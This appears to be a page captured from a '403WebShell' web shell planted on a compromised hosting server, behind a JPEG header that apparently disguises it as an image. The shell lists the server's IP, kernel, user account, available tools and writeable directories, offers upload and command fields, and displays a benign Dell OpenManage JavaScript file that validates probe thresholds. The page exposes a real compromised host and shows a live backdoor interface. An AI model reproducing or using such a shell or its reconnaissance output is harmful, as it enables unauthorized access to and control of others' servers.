����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 52.15.120.29
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/oma/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/oma/js/Probe.js
//-------------------------------------------------------------------------
//
//          DELL INC. PROPRIETARY INFORMATION
//
//  This software is supplied under the terms of a license agreement or
//  nondisclosure agreement with Dell Computer Corporation and may not
//  be copied or disclosed except in accordance with the terms of that
//  agreement.
//
//  Copyright (c) 1995-2001 Dell Inc. All Rights Reserved.
//
//  Abstract/Purpose:
//
//
//  Environment:
//    Windows NT/2000, Linux, Netware
//
//  Created/Version:
//    2001 Jul 24 / $Revision: $
//
//  Author:
//    Anupam Mukherjee
//
//  Last Modified By/On:
//    $Author: $ / $Date: $
//
//-------------------------------------------------------------------------

var lowRange, highRange;


		function setToVal()
		{
			setToValues = true;
			setToDefault = false;
                        try {
				document.getElementById("UNCVal").disabled = false;
                        } catch (e) {}
                        try {
				document.getElementById("LNCVal").disabled = false;
                        } catch (e) {}
		}

		function setToDef()
		{
			setToDefault = true;
			setToValues = false;
                        try {
				document.getElementById("UNCVal").disabled = true;
                        } catch (e) {}
                        try {
				document.getElementById("LNCVal").disabled = true;
                        } catch (e) {}
		}


	    // 80982   check for letter e in probe thresholds
		function isNanOMA( num )
		{
		    var isNotNum = false;
		    var numStr = new String( num );
		    var validValues="+.-0123456789";

		    isNotNum = isNaN( num );

	        if ( ! isNotNum )
	        {
	            // 84478

				for ( charId=0; charId < numStr.length; charId++)
				{
					if ( validValues.indexOf( numStr.charAt( charId ) ) < 0 )
					{
						isNotNum=true;
						break;
					}
				}
	        }
	        return isNotNum;
		}

		function restorePreviousValues ()
		{
			try {
				document.getElementById("UNCVal").value = preUNCTxt;
			} catch(e) {}
			try {
				document.getElementById("LNCVal").value = preLNCTxt;
			} catch(e) {}
		}

		function validate()
		{

			// 104866
			if(!setToValues) {
				// do not validate the values if user has selected default threshold settings.
				changeDelimiter();
				return true;
			}
			var tempUNCini = "";
			try {
				tempUNCini = document.getElementById("UNCVal").value;
			} catch (e) {
				tempUNCini = preUNCTxt;
			}
			var tempLNCini = "";
			try {
				tempLNCini = document.getElementById("LNCVal").value;
			} catch (e) {
				tempLNCini = preLNCTxt;
			}
			


			if (tempUNCini.indexOf(togglelocalDecsep) != -1){
				alert(msg1 + tempUNCini + ".");
				restorePreviousValues ();
				return false;
			}

			if (tempLNCini.indexOf(togglelocalDecsep) != -1){
				alert(msg1 + tempLNCini + ".");
				restorePreviousValues ();
				return false;
			}

			var tempUNC = "";
			var tempLNC = "";
			if (tempUNCini.indexOf(toggleunivDecsep) != -1)
				tempUNC	= tempUNCini.substring(0 , tempUNCini.indexOf(toggleunivDecsep)) + univDecsep +  tempUNCini.substring(tempUNCini.indexOf(toggleunivDecsep) + 1);
			else if (!isNanOMA(tempUNCini))
				tempUNC	= tempUNCini + univDecsep + "0";

			tempUNC = trim(tempUNC);
			if (tempLNCini.indexOf(toggleunivDecsep) != -1)
				tempLNC = tempLNCini.substring(0 , tempLNCini.indexOf(toggleunivDecsep)) + univDecsep +  tempLNCini.substring(tempLNCini.indexOf(toggleunivDecsep) + 1);
			else if (!isNanOMA(tempLNCini))
				tempLNC	= tempLNCini  + univDecsep + "0";

			tempLNC = trim(tempLNC);

			// Check for numbers. If strings discovered return false.
			if(isNanOMA(tempUNC)){
				alert(msg1 + tempUNCini + ".");
				restorePreviousValues ();
				return false;
			}

			if(isNanOMA(tempLNC)){
				alert(msg1 + tempLNCini + ".");
				restorePreviousValues ();
				return false;
			}

			if(isNanOMA(parseFloat(tempUNC)) == true){
				alert(msg1 + tempUNCini + ".");
				restorePreviousValues ();
				return false;
			}else if( isNanOMA(parseFloat(tempLNC)) == true){
				alert(msg1 + tempLNCini + ".");
				restorePreviousValues ();
				return false;
			}

			var UNC 		=  parseFloat(tempUNC);
			var LNC 		=  parseFloat(tempLNC);
			var UNCTxt 		=  tempUNC;
			var LNCTxt 		=  tempLNC;

		
			// Accept numbers only with 1 digit after the decimal point.
			var index1 = UNCTxt.indexOf(univDecsep);
			if(index1 != -1){
				var temp1 = UNCTxt.substring(index1);
				if(temp1.length > lengthval){
					alert(msg1 + tempUNCini + ".");
					restorePreviousValues ();
					return false;
				}
			}
			var index2 = LNCTxt.indexOf(univDecsep);

			if(index2 != -1){
				var temp2 = LNCTxt.substring(index2);
				if(temp2.length > lengthval){
					alert(msg1 + tempLNCini  + ".");
					restorePreviousValues ();
					return false;
				}
			}

			// Check LNC and UNC values, return false if found invalid.
			
			if((UC > UNC) && (UNC > LC)){
				if(UNC > LNC){
					if(LNC > LC){
						setVal();
						return true;
					}else{
						calcValidRange(LCTxt, tempUNCini);
						alert(msg2 + tempLNCini + msg3 + lowRange + msg4 + highRange + msg6);
					}
				}else{
					alert(msg7);
				}
			}else{
				if((UC > LNC) && (LNC > LC)){
					calcValidRange(tempLNCini, UCTxt);
					alert(msg5 + tempUNCini + msg3 + lowRange  + msg4 + highRange + msg6);
				}else{
					calcValidRange(preLNCTxt, UCTxt);
					alert(msg5 + tempUNCini + msg3 + lowRange + msg4 + highRange + msg6);
				}
			}

			<!--  returning false does not submit the form -->
			restorePreviousValues ();
			return false;
		}
		
		//This function is only for validating temperature probe
		//Not for any other probes
		function validateTempProbe() {

		
			// 104866
			if(!setToValues) {
				// do not validate the values if user has selected default threshold settings.
				changeDelimiter();
				return true;
			}
			var tempUNCini = "";
			try {
				tempUNCini = document.getElementById("UNCVal").value;
			} catch (e) {
				tempUNCini = preUNCTxt;
			}
			var tempLNCini = "";
			try {
				tempLNCini = document.getElementById("LNCVal").value;
			} catch (e) {
				tempLNCini = preLNCTxt;
			}

			if (tempUNCini.indexOf(togglelocalDecsep) != -1){
				alert(msg1 + tempUNCini + ".");
				restorePreviousValues ();
				return false;
			}

			if (tempLNCini.indexOf(togglelocalDecsep) != -1){
				alert(msg1 + tempLNCini + ".");
				restorePreviousValues ();
				return false;
			}

			var tempUNC = "";
			var tempLNC = "";
			if (tempUNCini.indexOf(toggleunivDecsep) != -1)
				tempUNC	= tempUNCini.substring(0 , tempUNCini.indexOf(toggleunivDecsep)) + univDecsep +  tempUNCini.substring(tempUNCini.indexOf(toggleunivDecsep) + 1);
			else if (!isNanOMA(tempUNCini))
				tempUNC	= tempUNCini + univDecsep + "0";

			tempUNC = trim(tempUNC);
			if (tempLNCini.indexOf(toggleunivDecsep) != -1)
				tempLNC = tempLNCini.substring(0 , tempLNCini.indexOf(toggleunivDecsep)) + univDecsep +  tempLNCini.substring(tempLNCini.indexOf(toggleunivDecsep) + 1);
			else if (!isNanOMA(tempLNCini))
				tempLNC	= tempLNCini  + univDecsep + "0";

			tempLNC = trim(tempLNC);

			// Check for numbers. If strings discovered return false.
			if(isNanOMA(tempUNC)){
				alert(msg1 + tempUNCini + ".");
				restorePreviousValues ();
				return false;
			}

			if(isNanOMA(tempLNC)){
				alert(msg1 + tempLNCini + ".");
				restorePreviousValues ();
				return false;
			}

			if(isNanOMA(parseFloat(tempUNC)) == true){
				alert(msg1 + tempUNCini + ".");
				restorePreviousValues ();
				return false;
			}else if( isNanOMA(parseFloat(tempLNC)) == true){
				alert(msg1 + tempLNCini + ".");
				restorePreviousValues ();
				return false;
			}

			var UNC 		=  parseFloat(tempUNC);
			var LNC 		=  parseFloat(tempLNC);
			var UNCTxt 		=  tempUNC;
			var LNCTxt 		=  tempLNC;


			// Accept numbers only with 1 digit after the decimal point.
			var index1 = UNCTxt.indexOf(univDecsep);
			if(index1 != -1){
				var temp1 = UNCTxt.substring(index1);
				if(temp1.length > lengthval){
					alert(msg1 + tempUNCini + ".");
					restorePreviousValues ();
					return false;
				}
			}
			var index2 = LNCTxt.indexOf(univDecsep);

			if(index2 != -1){
				var temp2 = LNCTxt.substring(index2);
				if(temp2.length > lengthval){
					alert(msg1 + tempLNCini  + ".");
					restorePreviousValues ();
					return false;
				}
			}

			// Check LNC and UNC values, return false if found invalid.
			
		
			if((UC > UNC)  && (UNC > LC)){
				if(UNC > LNC){
				   if((LNC == preLNCTxt) || (LNC > LC) )
					  {
					  setVal();
						return true;
						}
					else
					{
						
						var tempUC = "";
						
					       tempUC= UC + "." + "0";
																		
						calcValidRange(LCTxt, tempUC);

						alert(msg2 + tempLNCini + msg3 + lowRange + msg4 + highRange + msg6);
					}
				}
				else{
					alert(msg7);
				}
			}else{
				if((UC > LNC) && (LNC > LC)){
					calcValidRange(LCTxt, UCTxt);
					alert(msg5 + tempUNCini + msg3 + lowRange  + msg4 + highRange + msg6);
				}else{
					calcValidRange(LCTxt, UCTxt);
					alert(msg5 + tempUNCini + msg3 + lowRange + msg4 + highRange + msg6);
				}
			}

			<!--  returning false does not submit the form -->
			restorePreviousValues ();
			return false;		
		}

		
		function calcValidRange(lowVal, highVal)
		{
			var en = true;
			if (lowVal.indexOf(',') != -1) 
			{
				en = false;
			}
			


			lowVal = lowVal.replace(',','.');
			highVal = highVal.replace(',','.');
			lowRange = Math.round(eval(eval(lowVal) * eval(multiplier) + 1)) / eval(multiplier);
			highRange = Math.round(eval(eval(highVal) * eval(multiplier) - 1)) / eval(multiplier);
			if (!en)
			{
				lowRange = lowRange.toString().replace('.',',');
				highRange = highRange.toString().replace('.',',');			
			}
		}

		function setVal()
		{
			changeDelimiter();
			try {
				document.dataarea.LNCVal.value = Math.round(parseFloat(document.dataarea.LNCVal.value) * multiplier);
			} catch (e) {}
			try {
				document.dataarea.UNCVal.value = Math.round(parseFloat(document.dataarea.UNCVal.value) * multiplier);
			} catch (e) {}
		}

		function changeDelimiter(){
			var UNCini = "";
			try {
				UNCini = document.getElementById("UNCVal").value;
			} catch (e) {}
			var LNCini = "";
			try {
				LNCini = document.getElementById("LNCVal").value;
			} catch (e) {}
			var  tempUNC = "";
			var  tempLNC = "";

			if (UNCini.indexOf(toggleunivDecsep) != -1)
				tempUNC	= UNCini.substring(0 , UNCini.indexOf(toggleunivDecsep)) + univDecsep  +  UNCini.substring(UNCini.indexOf(toggleunivDecsep) + 1) ;
			else
				tempUNC	= UNCini + univDecsep  + "0";

			if (LNCini.indexOf(toggleunivDecsep) != -1)
				tempLNC	= LNCini.substring(0 , LNCini.indexOf(toggleunivDecsep)) + univDecsep  +  LNCini.substring(LNCini.indexOf(toggleunivDecsep) + 1) ;
			else
				tempLNC	= LNCini + univDecsep  + "0";
			try {
				document.getElementById("LNCVal").value = tempLNC;
			} catch (e) {}
			try {
				document.getElementById("UNCVal").value = tempUNC;
			} catch (e) {}
		}

		function ltrim ( s )
		{
			return s.replace( /^\s*/, "" )
		}

		function rtrim ( s )
		{
			return s.replace( /\s*$/, "" );
		}

		//Combine the rtrim() and ltrim() functions to make the trim() function, which just wraps both calls together:

		function trim ( s )
		{
			return rtrim(ltrim(s));
		}



Youez - 2016 - github.com/yon3zu
LinuXploit